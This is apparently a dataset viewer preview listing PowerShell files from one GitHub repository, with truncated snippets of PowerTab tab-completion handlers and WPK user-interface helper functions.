[Void](Add-TabExpansion 'tqb' 'The quick brown fox jumps over the lazy dog')
[Void](Add-TabExpansion 'Localhost' 'Localhost' 'Computer')
# Help Shortcuts
[Void](Add-TabExpansion 'h'... |
PowerShellCorpus/Github/legigor_WindowsPowerShell/AllModules/PowerTab/Handlers/PSClientManager.ps1 | PSClientManager.ps1 | ## PSClientManager
$ClientFeatureHandler = {
param($Context, [ref]$TabExpansionHasOutput)
$Argument = $Context.Argument
switch -exact ($Context.Parameter) {
'Name' {
$TabExpansionHasOutput.Value = $true
Get-ClientFeature "$Argument*" | Select-Object -ExpandProperty N... |
PowerShellCorpus/Github/legigor_WindowsPowerShell/AllModules/PowerTab/Handlers/Robocopy.ps1 | Robocopy.ps1 | ## Robocopy
& {
Register-TabExpansion "robocopy.exe" -Type "Command" {
param($Context, [ref]$TabExpansionHasOutput)
$Argument = $Context.Argument
switch -exact ($Context.Parameter) {
'Options' {
$TabExpansionHasOutput.Value = $true
if ($Arg... |
PowerShellCorpus/Github/legigor_WindowsPowerShell/AllModules/PowerTab/Handlers/Utilities.ps1 | Utilities.ps1 |
## netsh
& {
Register-TabExpansion netsh.exe -Type Command {
param($Context, [ref]$TabExpansionHasOutput)
$Argument = $Context.Argument
switch -exact ($Context.Parameter) {
'r' {
$TabExpansionHasOutput.Value = $true
Get-TabExpansion "$Arg... |
PowerShellCorpus/Github/legigor_WindowsPowerShell/AllModules/WPK/Get-ReferencedCommand.ps1 | Get-ReferencedCommand.ps1 | function Get-ReferencedCommand {
<#
.Synopsis
Gets the commands referred to from within a function or external script
.Description
Uses the Tokenizer to get the commands referred to from within a function or external script
.Example
Get-Command New-Button | Get-Refere... |
PowerShellCorpus/Github/legigor_WindowsPowerShell/AllModules/WPK/Hide-UIElement.ps1 | Hide-UIElement.ps1 | function Hide-UIElement
{
<#
.Synopsis
Hides a UI Element
.Description
Changes the Visibility property of one or more UI Elements to collapsed
.Parameter control
The UI Element to hide
.Parameter name
The name of the UI Element or elements to hide
.Exam... |
PowerShellCorpus/Github/legigor_WindowsPowerShell/AllModules/WPK/Stop-PowerShellCommand.ps1 | Stop-PowerShellCommand.ps1 | function Stop-PowerShellCommand
{
<#
.Synopsis
Stops a PowerShell Command
.Description
Stops a PowerShell command that has been Registered with Register-PowerShellCommand
.Parameter name
The name of the command to stop
.Example
New-Grid -Rows 2 -Columns 2 -O... |
PowerShellCorpus/Github/legigor_WindowsPowerShell/AllModules/WPK/Get-CommonParentControl.ps1 | Get-CommonParentControl.ps1 | None |
PowerShellCorpus/Github/legigor_WindowsPowerShell/AllModules/WPK/Start-PowerShellCommand.ps1 | Start-PowerShellCommand.ps1 | function Start-PowerShellCommand
{
<#
.Synopsis
Starts a PowerShell Command
.Description
Starts a PowerShell command that has been Registered with Register-PowerShellCommand
.Parameter name
The name of the command to start
.Parameter interval
If set, will ru... |
PowerShellCorpus/Github/legigor_WindowsPowerShell/AllModules/WPK/Add-GridColumn.ps1 | Add-GridColumn.ps1 | function Add-GridColumn
{
<#
.Synopsis
Adds a column to an existing grid
.Description
Adds a column to an existing grid, and optionally offsets everything past a certain row
.Example
Add-GridColumn $grid -column Auto,Auto -index 2
.Paramet... |
PowerShellCorpus/Github/legigor_WindowsPowerShell/AllModules/WPK/Enable-Multitouch.ps1 | Enable-Multitouch.ps1 | function Enable-MultiTouch
{
<#
.Synopsis
Enables multiple touch events on a window
.Description
Registers a window for multiple touch events and creates
three buffers (TouchStarts,TouchStops,TouchMoves) that
will contain all of the touch events that have occured with... |
PowerShellCorpus/Github/legigor_WindowsPowerShell/AllModules/WPK/ConvertTo-GridLength.ps1 | ConvertTo-GridLength.ps1 | function ConvertTo-GridLength
{
<#
.Synopsis
Turns $legnth into Windows.GirdLength objects
.Description
Turns the length parameter into GridLength objects.
.Parameter length
If the Length is just one integer, than that number of grid lengths will be created.
If t... |
PowerShellCorpus/Github/legigor_WindowsPowerShell/AllModules/WPK/Copy-DependencyProperty.ps1 | Copy-DependencyProperty.ps1 | function Copy-DependencyProperty
{
<#
.Synopsis
Copies dependency properties from one object to another.
.Description
Reads the dependency properties from one object and writes
them to another. If a particular property could not be set,
then the error encountered wh... |
PowerShellCorpus/Github/legigor_WindowsPowerShell/AllModules/WPK/Set-Property.ps1 | Set-Property.ps1 | function Set-Property
{
<#
.Synopsis
Sets properties on an object or subscribes to events
.Description
Set-Property is used by each parameter in the automatically generated
controls in WPK.
.Parameter InputObject
The object to set properties on
.Parameter Ha... |
PowerShellCorpus/Github/legigor_WindowsPowerShell/AllModules/WPK/Get-DependencyProperty.ps1 | Get-DependencyProperty.ps1 | function Get-DependencyProperty {
<#
.Synopsis
Gets the Dependency Properties that have been set on a control
.Description
Gets the Dependency Properties that have been set on a control.
.Example
New-Label "Hello World" -Row 1 | Get-DependencyProperty
#>
param(
... |
PowerShellCorpus/Github/legigor_WindowsPowerShell/AllModules/WPK/Show-UIElement.ps1 | Show-UIElement.ps1 | function Show-UIElement
{
<#
.Synopsis
Shows a UI Element
.Description
Changes the Visibility property of one or more UI Elements to Visible
.Parameter control
The UI Element to show
.Parameter name
The name of the UI Element or elements to show
.Exa... |
PowerShellCorpus/Github/legigor_WindowsPowerShell/AllModules/WPK/Export-Application.ps1 | Export-Application.ps1 | function Export-Application
{
<#
.Synopsis
Exports a WPK script into an executable
.Description
Exports a WPK script into an executable.
Embeds all needed scripts within the executable, an
.Example
# Creates an .exe at the current path that runs digitalclock.ps1
... |
PowerShellCorpus/Github/legigor_WindowsPowerShell/AllModules/WPK/Add-CodeGenerationRule.ps1 | Add-CodeGenerationRule.ps1 | function Add-CodeGenerationRule
{
<#
.Synopsis
Adds a new rule for the code generation engine.
.Description
Adds a new rule for the code generation engine
.Parameter Type
The base type to apply the rule to. This type or any derivived types will apply the rule.
.Para... |
PowerShellCorpus/Github/legigor_WindowsPowerShell/AllModules/WPK/Add-EventHandler.ps1 | Add-EventHandler.ps1 | function Add-EventHandler {
<#
.Synopsis
Adds an event handler to an object
.Description
Adds an event handler to an object. If the object has a
resource dictionary, it will add an eventhandlers
hashtable to that object and it will store the event handler,
... |
PowerShellCorpus/Github/legigor_WindowsPowerShell/AllModules/WPK/Unregister-PowerShellCommand.ps1 | Unregister-PowerShellCommand.ps1 | function Unregister-PowerShellCommand
{
<#
.Synopsis
Unregisters a PowerShell command registered to a Window
.Description
Unregisters a PowerShell command registered to a window, and stops and running instances of isolated commands
.Parameter name
The name of the comm... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.